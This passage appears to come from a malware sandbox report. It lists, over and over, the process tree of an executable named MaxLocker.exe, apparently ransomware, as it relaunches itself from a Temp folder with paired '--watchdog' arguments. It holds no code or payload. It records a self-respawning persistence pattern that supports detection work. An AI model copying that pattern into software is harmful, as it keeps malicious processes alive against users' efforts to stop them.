- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3616 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 928 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4452
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3116
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3116 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4372 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4336 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3080
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4532
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4532 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:464
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5320 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1360
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1360 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6104
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6104 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 944 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5096
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5096 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3768 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2740
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2740 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3364
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3364 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2040
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3408 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1536 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1304 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:120
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 120 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2024
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:568
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 568 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5256
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4228 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5380
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5380 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5328
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2796 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4392
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1280
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1280 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5400
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4832
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4148
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4148 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3832
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3112 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3584
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5336
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5336 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5908
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5908 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3568 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3116
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1296
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1296 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3080
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3080 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1064
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:464
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 464 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3856
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3512 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2764
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:976
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 976 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6104
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 6104 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4564
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4860 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2800
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5132 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4856
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5952 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4880
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5304 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4916
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2040
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2040 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5788
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4432 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5248
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4672
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4672 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2716
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2716 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1304
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2024
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2024 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1960 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5948
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4796 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2660
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2660 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1860 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1972
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2656
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2656 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4416
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4932 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2780
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1228 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4628
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2144 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4956
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4956 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1904
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2624
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2624 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3440
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4336 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2840
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 368 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4532
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4520
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 940 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4524
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:244
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 244 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:944
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4700
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4700 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2292
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2292 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2776
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2928 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4756 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4576
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
